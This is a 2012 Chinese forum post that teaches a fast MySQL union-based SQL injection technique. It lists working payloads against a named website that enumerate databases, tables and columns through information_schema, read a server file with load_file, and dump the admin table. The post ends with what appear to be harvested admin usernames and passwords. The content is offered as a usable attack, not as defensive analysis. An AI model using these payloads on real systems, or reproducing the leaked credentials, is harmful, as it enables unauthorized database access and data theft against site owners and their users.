找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2263|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
6 m% W. R* [6 U& y& L  z! }但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人3 ?$ a9 }6 T! G' h' \" P
  F' g; q$ o7 F, [
5 ~2 c: Y( X% p
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
' s8 R+ d. n; e* E7 _0 q
9 X: B0 @, Z& k7 o+ i% s/ @) k缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...9 d( p3 P- ]  H4 C' j
- o5 n9 s* H7 ]: c) [2 f! E
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
3 F* r8 D1 \" J在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
7 H# k% p( Q. L: ~9 C8 |& Q. X
# e% }* a) _) U# rhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
+ ~  G; ^8 h$ I0 c) t. s/ t2 v: `
, A: ^7 ^# w2 ]读出所有库:# p+ t9 T% ^: H1 g+ `/ d! ~  Y% P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
6 @$ P3 |" w. [* `6 D# L2 b- P4 `) ?: W8 o5 T# Z) R

* s' @: B/ u' z1 }/ T+ L* D, T: @, ?1 ]3 y& v
读出所有表:& |+ t* w9 {- R- V" E- {
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()$ v  A. N: q2 {- J8 G+ H

& F, y+ m8 Q, Y& H读出所有表字段:
8 [+ ^3 r7 V% c/ Lhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)- v! W/ F0 J2 l' u0 K& f, j
*/ (97,100,109,105,110)为admin的ascii码 依次类推
* u4 q3 o3 B. I) U, j8 X; q+ u5 A$ p' ]2 @; U) x# M* y! s! n
读出所有表字段里的内容:2 o7 N2 c3 k; M8 W5 J" G/ O
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
. r) Q  i% z  o- F: u
& b* g, Y$ D' v2 e& C3 K! d
" L+ O1 o7 Z9 D2 O- V8 Y
! H# a4 T* r* J( g' E( x& r8 h; `5 w  o
* A, k6 `, |3 W8 V) d. O" @5 y
6 Q, w8 M/ V7 S% T/ f
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
( r4 G  m- u. h/ Y+ V3 Z
! n( \; A9 ]; e( j4 @+ }% W4 Y$ Q, l5 C( }% I
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23# k2 K& ]' {; l/ S6 F. `6 k; l* B
% t$ p5 @7 F& m9 l7 V1 R
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
: `% j) N+ w% ^) ~% f1 ^! [; D! H% L$ v5 G. B
: M/ ~2 ?- i  l
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
' r" s1 j+ U, P! V* W- B- ]% K& o5 R

% l3 E5 a, T& O) r+ j3 F5 w4 X* o# r" {        webmaster:dzb521123,simlab:simadmin20043233# K( }0 L9 g+ j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表